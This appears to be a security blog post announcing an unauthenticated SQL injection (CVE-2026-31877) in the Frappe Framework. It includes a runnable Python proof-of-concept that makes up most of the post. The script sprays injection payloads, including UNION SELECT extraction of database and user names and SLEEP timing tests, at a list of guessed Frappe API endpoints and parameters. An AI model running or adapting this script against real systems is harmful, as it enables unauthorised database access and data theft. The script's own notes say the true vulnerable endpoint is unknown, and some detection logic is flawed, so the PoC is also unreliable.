Frappe Framework <14.99.0 and <15.84.0 Unauthenticated SQL Injection
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
A critical SQL Injection vulnerability has been identified in the Frappe Framework, tracked as CVE-2026-31877.
The flaw allows unauthenticated attackers to inject malicious SQL queries through improperly sanitized parameters in certain API endpoints.
This vulnerability may allow attackers to retrieve sensitive database information without authentication.
The issue affects:
Frappe Framework versions < 14.99.0
Frappe Framework versions < 15.84.0
The vulnerability has been classified with a CVSS score of 9.3 (Critical) and falls under CWE-89.
Vulnerability Details
The vulnerability exists due to improper validation and sanitization of input parameters in specific API endpoints. When crafted requests are sent to vulnerable endpoints, attackers may inject SQL statements that are executed by the backend database.
This can potentially lead to:
Database enumeration
Extraction of sensitive data
Unauthorized access to application data
The vulnerability may be exploited remotely without authentication.
Affected Software
Vendor: Frappe Technologies
Product: Frappe Framework
Affected versions:
Frappe Framework < 14.99.0
Frappe Framework < 15.84.0
Proof of Concept (PoC)
Below is a proof-of-concept script that tests multiple historically vulnerable endpoints and parameters commonly used within Frappe API methods.
#!/usr/bin/env python3
# Exploit Title: Frappe Framework Unauthenticated SQL Injection
# CVE: CVE-2026-31877
# Date: 2026-03-11
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://frappeframework.com
# Software Link: https://github.com/frappe/frappe
# Affected: Frappe Framework <14.99.0 and <15.84.0
# Tested on: Frappe Framework 15.x (vulnerable versions)
# Category: Webapps
# Platform: Linux / Web
# Exploit Type: Remote SQL Injection
# CVSS: 9.3 (CRITICAL)
# CWE : CWE-89
# Description: Unauthenticated SQL injection via improper field sanitization in certain API endpoints allows extraction of sensitive database information.
# Fixed in: 14.99.0 / 15.84.0
# Usage: python3 exploit.py <target>
#
# Examples:
# python3 exploit.py http://192.168.1.100:8000
#
# Options:
#
# Notes: This is a template PoC. The exact vulnerable parameter/endpoint remains undisclosed in the public advisory (GHSA-2c4m-999q-xhx4).
# Tests common historical Frappe injection points. Use only on systems you own or have explicit permission to test.
#
# How to Use
#
# Step 1: Run against a vulnerable instance (non-production only)
print(r"""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ โโโโยท โโ โ. โโ โข โโโโโ โโโ โโโยท โโโยท โโโโโโโโโ .โโโ โโข โโ โ
โ โโ โโโชโโ.โยทโโ โ โชโขโโ โช โโ โยทโโ โโ โโ โโโขโโ โโโ.โยทโโ โยทโโชโโโ โ
โ โโโโโโโโโโชโโโ โโ โโ.โช โโโโ โโโโ โโโโโ โโโยท โโ.โชโโโโชโโโโโ โโโโยท โ
โ โโโโชโโโโโโโโโโโชโโ โโโยทโโโ.โโโโโขโโโโ โชโโโโโชยทโข โโโยทโโโโโโโโขโโโโโโโ โ
โ ยทโโโโ โโโ ยทโโโโ โโโ โโโโโช.โ โ โ โ .โ โโโ โโโ .โ โ โโโ โ
โ โ
โ b a n y a m e r _ s e c u r i t y โ
โ โ
โ >>> Silent Hunter โข Shadow Presence <<< โ
โ โ
โ Operator : Mohammed Idrees Banyamer Jordan ๐ฏ๐ด โ
โ Handle : @banyamer_security โ
โ โ
โ CVE-2026-31877 โข Frappe SQL Injection (Unauthenticated) โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""")
import sys
import requests
import time
import argparse
def test_sqli(base_url, endpoint, param, payload):
full_url = f"{base_url.rstrip('/')}{endpoint}"
data = {param: payload}
print(f"[*] Testing {full_url} โ {param} = {payload[:60]}...")
try:
start = time.time()
r = requests.post(full_url, json=data, timeout=12, verify=False)
elapsed = time.time() - start
indicators = [
"syntax error", "mysql", "sql", "near", "you have an error",
"ODBC", "quoted_string", "unclosed quotation", "table", "column",
elapsed > 5
]
success = any(ind in r.text.lower() for ind in indicators[:10]) or elapsed > 5
if success:
print(f"[!!!] Possible SQLi โ response code {r.status_code}")
print(f" Time: {elapsed:.2f}s")
print(f" Snippet: {r.text[:400]}...")
return True
else:
print(f" โ No obvious injection (code {r.status_code}, len={len(r.text)})")
return False
except Exception as e:
print(f" โ Request failed: {e}")
return False
def main(target):
common_endpoints = [
"/api/method/frappe.desk.reportview.get",
"/api/method/frappe.model.db_query.get_list",
"/api/method/frappe.client.get_list",
"/api/method/frappe.desk.query_report.run",
"/api/resource/User",
"/api/method/frappe.search.search_link",
"/api/method/frappe.desk.form.load.getdoc",
]
common_params = [
"filters",
"or_filters",
"fields",
"order_by",
"group_by",
"with_parent",
"parent_doctype",
"txt",
]
payloads = [
"' OR '1'='1",
"') OR ('1'='1",
"' OR 1=1 -- ",
"1' UNION SELECT database(),user(),version() -- ",
"'; SELECT SLEEP(5) -- ",
"1' AND SLEEP(5) -- ",
]
print(f"[+] Target: {target}\n")
found = False
for ep in common_endpoints:
for p in common_params:
for payload in payloads:
if test_sqli(target, ep, p, payload):
print(f"[+] Possible vulnerable combination:")
print(f" Endpoint: {ep}")
print(f" Param: {p}")
print(f" Payload: {payload}")
found = True
if not found:
print("\n[-] No injection detected with these common patterns.")
print(" โ Either patched / not vulnerable, or different endpoint/param.")
print(" โ Wait for public details or analyze source diff yourself.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-31877 Frappe SQLi PoC template")
parser.add_argument("target", help="Base URL, e.g. http://192.168.1.50:8000")
args = parser.parse_args()
if not args.target.startswith(("http://", "https://")):
args.target = "http://" + args.target
try:
main(args.target)
except KeyboardInterrupt:
print("\n[!] Stopped by user.")
except Exception as e:
print(f"\n[!] Fatal error: {e}")
Disclosure: Full Disclosure
Comments
No comments yet. Be the first.
Leave a Comment